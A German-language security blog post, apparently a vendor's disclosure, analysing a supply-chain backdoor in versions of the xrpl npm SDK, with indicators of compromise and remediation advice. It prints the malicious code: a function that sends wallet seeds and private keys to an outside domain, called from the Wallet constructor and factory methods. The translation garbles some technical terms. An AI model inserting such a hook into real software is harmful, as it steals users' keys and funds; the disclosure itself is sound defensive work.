Am 21. April, 20:53 GMT+0, begann unser System, Aikido Intel, uns auf fünf neue Paketversionen des xrpl-Pakets hinzuweisen. Es ist das offizielle SDK für den XRP Ledger, mit mehr als 140.000 wöchentlichen Downloads. Wir haben schnell bestätigt, dass das offizielle XPRL (Ripple) NPM-Paket von raffinierten Angreifern kompromittiert wurde, die eine Hintertür eingebaut haben, um private Schlüssel von Kryptowährungen zu stehlen und Zugang zu Kryptowährungs-Wallets zu erhalten. Dieses Paket wird von Hunderttausenden von Anwendungen und Websites verwendet, was es zu einem potenziell katastrophalen Angriff auf die Lieferkette des Kryptowährungsökosystems macht.
Dies ist die technische Aufschlüsselung, wie wir den Angriff entdeckt haben.

Neue Pakete veröffentlicht
Der Benutzer mukulljangid
hatte fünf neue Versionen der Bibliothek ab dem 21. April, 20:53 GMT+0, veröffentlicht:

Interessant ist, dass diese Versionen nicht mit den offiziellen Versionen auf GitHub übereinstimmen, wo die letzte Version 4.2.0
:
.png)
Die Tatsache, dass diese Pakete ohne eine passende Veröffentlichung auf GitHub auftauchten, ist sehr verdächtig.
Der geheimnisvolle Code
Unser System hat in diesen neuen Paketen einige merkwürdige Codes entdeckt. Hier ist, was es in der src/index.ts
Datei in Version 4.2.4
(Die als neueste
):
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Bis zum Ende sieht alles normal aus. Was ist das checkValidityOfSeed
Funktion? Und warum ruft sie einen zufälligen Bereich namens 0x9c[.]xyz
? Lass uns in den Kaninchenbau gehen!
Was ist die Domäne?
Wir haben uns zunächst die Domäne angesehen, um herauszufinden, ob sie überhaupt rechtmäßig sein könnte. Wir riefen die Whois-Details dazu auf:

Das ist also nicht so toll. Es ist eine brandneue Domain. Sehr verdächtig.
Was bewirkt der Code?
Der Code selbst definiert nur eine Methode, aber es gibt keine unmittelbaren Aufrufe dazu. Also haben wir nachgeforscht, ob sie irgendwo verwendet wird. Und ja, das tut sie!
.png)
Wir sehen, dass er in Funktionen wie dem Konstruktor für die Brieftasche
Klasse (src/Wallet/index.ts
) und stiehlt private Schlüssel, sobald ein Wallet-Objekt instanziiert wird:
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}
Und diese Funktionen:
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
}
private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
}
public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
}
public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
}
public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}
Warum so viele Versionssprünge?
Als wir diese Pakete untersuchten, stellten wir fest, dass die ersten beiden veröffentlichten Pakete (4.2.1
und 4.2.2
) waren anders als die anderen. Wir haben einen 3-Wege-Diff auf Versionen 4.2.0
(Was legitim ist), 4.2.1
und 4.2.2
um herauszufinden, was vor sich ging. Wir haben Folgendes beobachtet:
- Ausgehend von
4.2.1
dieSkripte
undhübschere
Konfiguration wurde aus dempaket.json
. - Die erste Version, die bösartigen Code in
src/Wallet/index.js
war4.2.2
. - Beide
4.2.1
und4.2.2
enthielt eine bösartigebuild/xrp-latest-min.js
undbuild/xrp-latest.js
.
Wenn wir vergleichen 4.2.2
zu 4.2.3
und 4.2.4
sehen wir weitere bösartige Änderungen. Zuvor war nur der gepackte JavaScript-Code geändert worden. Dazu gehören auch die bösartigen Änderungen an der TypeScript-Version des Codes
- Der zuvor gezeigte Code ändert sich in
src/index.ts
. - Der bösartige Code ändert sich in
src/Wallet/index.ts
. - Anstatt dass der bösartige Code von Hand in die erstellten Dateien eingefügt wurde, wurde die Hintertür in
index.ts
genannt wird.
Daraus können wir ersehen, dass der Angreifer aktiv an dem Angriff gearbeitet und verschiedene Möglichkeiten ausprobiert hat, die Hintertür einzufügen und dabei so unauffällig wie möglich zu bleiben. Angefangen beim manuellen Einfügen der Hintertür in den erstellten JavaScript-Code bis hin zum Einfügen in den TypeScript-Code und dem anschließenden Kompilieren in die erstellte Version.
Aikido Intel
Diese Malware wurde von Aikido Intel entdeckt, Aikidos öffentlichem Bedrohungs-Feed, der LLMs verwendet, um die öffentlichen Paketmanager wie NPM zu überwachen und zu erkennen, wenn bösartiger Code zu neuen oder bestehenden Paketen hinzugefügt wird. Wenn Sie vor Malware und unentdeckten Schwachstellen geschützt werden wollen, können Sie den Intel Threat Feed abonnieren oder sich für Aikido Security anmelden.
Indikatoren für Kompromisse
Um festzustellen, ob Sie möglicherweise kompromittiert wurden, können Sie die folgenden Indikatoren verwenden:
Name des Pakets
xrpl
Paket-Versionen
Prüfen Sie Ihr paket.json
und paket-lock.json
für diese Versionen:
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Achten Sie darauf, ob Sie das Paket als Abhängigkeit hatten, die nicht mit einer Paketsperrdatei fixiert war, oder ob Sie eine ungefähre/kompatible Versionsangabe wie ~4.2.0
oder ^4.2.0
als Beispiele.
Wenn Sie glauben, dass Sie eines der oben genannten Pakete in der Zeit zwischen dem 21. April, 20:53 GMT+0 und dem 22. April, 13:00 GMT+0 installiert haben, überprüfen Sie Ihre Netzwerkprotokolle auf ausgehende Verbindungen zu dem unten genannten Host:
Bereich
- 0x9c[.]xyz
Sanierung
Wenn Sie glauben, dass Sie betroffen sein könnten, müssen Sie davon ausgehen, dass alle Seed- oder privaten Schlüssel, die von dem Code verarbeitet wurden, kompromittiert wurden. Diese Schlüssel sollten nicht mehr verwendet werden, und alle damit verbundenen Vermögenswerte sollten sofort in eine andere Brieftasche/einen anderen Schlüssel übertragen werden. Seit Bekanntwerden des Problems hat das xrpl-Team zwei neue Versionen veröffentlicht, um die kompromittierten Pakete zu überschreiben:
- 4.2.5
- 2.14.3